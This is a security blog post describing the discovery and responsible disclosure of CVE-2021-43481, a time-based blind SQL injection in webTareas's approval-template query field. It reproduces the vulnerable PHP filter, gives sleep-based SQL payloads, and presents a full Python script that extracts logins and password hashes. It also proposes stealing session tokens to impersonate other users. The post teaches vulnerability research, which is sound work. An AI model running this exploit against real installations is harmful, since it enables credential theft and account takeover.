Webtareas logo
One of the topics I wanted to cover on this blog was Blind SQLi exploitation from a whitebox perspective. I began by trying to find a good real world example to highlight and build an exploit for, during this process I found a new Blind SQL Injection vulnerability. The vulnerability is now registered as CVE-2021-43481

In this post I’ll walk you through the process I took to discover this vulnerability, and demonstrate how to write a script to exploit a blind SQL injection to extract arbitrary information from a MySQL DB.

What is a Blind SQL Injection? What do you mean time-based?? Boolean???

For those unfamiliar with this vulnerability class I’ll try to summarize what it is and it’s potential impact:

Imagine you have a SQL injection but you can’t see the output of the query, and on top of that you’re not able to UPDATE, ALTER, DROP or DELETE values from the DB. It sounds like a dead-end right? No, not at all and in this example you’ll see how a simple SELECT statement is all you need to extract essentially all of the information stored in the application’s database.

Selecting the target

I originally had the idea of finding a recently published SQL Injection in an open source project, preferably one I could write an exploit PoC for. I pulled up the CVE tracker and sorted for this criteria.

This led me to a PHP-based collaboration tool called webTareas, which had SQL injection vulnerabilities disclosed in the past few months.

Spotting the bug

Following my usual methodology with a whitebox assesment I poked around in the app before digging through any source code to get an idea of any dangerous sources/sinks and get familiar with the features of the app.

After getting an idea of what features were available, I decided to grep through the source to find any user input potentially concatenated into a sql query. Unsurprisingly grep -Ri $sql and other similar searches for php/sql related keywords returned hundreds of results and to be honest, I wasn’t ready to read that much PHP in one sitting.

Back to the app it is:

I noticed a feature that allows a manager or admin to create an “approval template“ for certain actions a user can take within the app, such as uploading a file. This feature had a section which allows you to define a condition which triggers an approval flow:

/approvals/editapprovaltemplate.php
The use of the word “Query” alongside an open-ended text form caught my attention.

I sent a simple ‘SELECT sleep(5);’ statement and saved the template:

sleep(5)
it worked, the server took 5 seconds to respond, confirming we’re able to send raw SQL queries into this form.

Analyzing the source code

With the ability to force the DB to sleep I knew it was likely that I would be able to extract data using conditional SQL queries, but first I wanted to see what the logic of the code was to get a better idea of what is and isn’t possible.

The file responsible for this bug was /approvals/editapprovaltemplate.php:

1
2
3
4
5
$uq = str_ireplace(['--', '({', '/*', 'insert ', 'update ', 'delete ', 'alter ', 'drop 
'], ['', '', '', '', '', '', '', ''], $uq);
$tmpquery = prepareUserQuery($uq, 1);
$request1 = new request();
$request1->connectClass();

The variable our custom query gets set to is $uq and here we can see a poor attempt to blacklist potentially dangerous SQL operators.

Given that this project is open source, we can take a look into the database schema and see how to craft a malicious query to extract potentially sensitive data.

Let’s begin by finding how the DB is storing user credentials:

database values
The members table had about 20 columns but these 3 will be the most useful to us.

Crafting the payload

Let’s use the following value as the target for extraction:
password from members where id=1

The injection technique we’ll use to extract this value essentially queries the database with a conditional statement:

1
SELECT 1 and IF(substring((SELECT password FROM gW8members WHERE id=1),1,1)='a',sleep(5),0);

If that query doesn’t make sense to you here’s my attempt to translate it:
“If the value of the first character of the password from ‘members’ with an id of 1 = ‘a’ THEN sleep for 5 seconds ELSE return 0;

We know from the previous step that the password hash value for this user is: 21232f297a57a5a743894a0e4a801fc3

So let’s test this query directly from the mySQL CLI:

database queries
In the first query you can see the DB slept for 5 seconds as the condition was true, and in the second query it didn’t.

By iterating through the characters of the string and all potential values we should be able to extract any password hash!

Scripting the exploit

We need to write the code that will iterate each possible character for each of the positions in the password string. To simplify the code we can use ASCII integer values for each possible character and then use a type conversion in python to print the character.

1
2
3
4
5
#Iterate for password hashes which have a length of 33 characters
for i in range (1,33):
#Iterate for each potential ASCII character representation
for j in range(32,126):
injection = "SELECT 1 and IF(ascii(substring((SELECT password FROM gW8members WHERE id=1),%d,1))=%d,sleep(1),0);" % (i,j)

The outer loop iterates 33 times for the lenth of the string and the inner loop iterates up to 90 times for each potential ASCII character.

Next we can use the python requests library to emulate the same POST request we sent earlier through the browser. There’s an awesome burp extension called copy as python requests that automatically converts any HTTP request into this format.

1
2
POST_url = "http://%s/approvals/editapprovaltemplate.php?id=7" % ip   
POST_data = "...Content-Disposition: form-data name=\"uq\"\r\n\r\n%s\r\n" % injection

Finally we’ll add a condition that checks how long the request took. This can be implemented using the python time module:

1
2
3
4
5
6
7
start = time.time()
requests.post(POST_url, data=POST_data)
end = time.time() - start
if end > 1:
password += chr(x)
print(password)
break

The end variable here denotes the time the request took, if the time was longer than 5 seconds we add the current character to our password variable and break out of the inner loop to begin checking the next position in the string.

Finishing touches

There’s a few more things we need to add for this to work:

  1. CSRF Tokens must be retrieved for each POST request
  2. Session ID must be provided as this is an authenticated form
  3. Script should be modular to account for both the ‘login’ and ‘password’ values
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests, time, sys, os
from bs4 import BeautifulSoup
ip = sys.argv[1]
id = sys.argv[2]
sid = sys.argv[3]

def sqli(column):
print("Extracting %s from user with ID: %s\n" % (column,id))
extract = ""
for i in range (1,33):
#This conditional statement will account for variable length usernames
if(len(extract) < i-1):
break
for j in range(32,127):
injection = "SELECT 1 and IF(ascii(substring((SELECT %s FROM gW8members WHERE id=1),%d,1))=%d,sleep(5),0);" % (column,i,j)
url = "http://%s/approvals/editapprovaltemplate.php?id=1" % ip
GET_cookies = {"webTareasSID": "%s" % sid}
r = requests.get(url, cookies=GET_cookies)
#Because the app has CSRF protection enabled we need to send a get request each time and parse out the CSRF Token"
token = BeautifulSoup(r.text,features="html.parser").find('input', {'name':'csrfToken'})['value']
#Because this is an authenticated vulnerability we need to provide a valid session token
POST_cookies = {"webTareasSID": "%s" % sid}
POST_data = {"csrfToken": "%s" % token, "action": "update", "cd": "Q", "uq": "%s" % injection}
start = time.time()
requests.post(url, cookies=POST_cookies, data=POST_data)
end = time.time() - start
if end > 5:
extract += chr(j)
print ("\033[A\033[A")
print(extract)
break
#Modularized the script for login and password values
sqli("login")
sqli("password")



exploit gif
Output of the exploit (Sped up 20x)

Additional Exploitation

It’s probably important to point out the password values here are MD5 hashes, which could be cracked but if not is this exploit usesless?

Nope, because this application uses cookie-based session management and stores these in the database we can just modify the script to extract session tokens and pass those in each request to authenticate as another user!

Vulnerability Disclosure

Following the discovery of this vulnerability I reached out to the maintainer of webTareas application and informed him of the issue.

Within 24 hours, a patch was released to address the issue:

patch)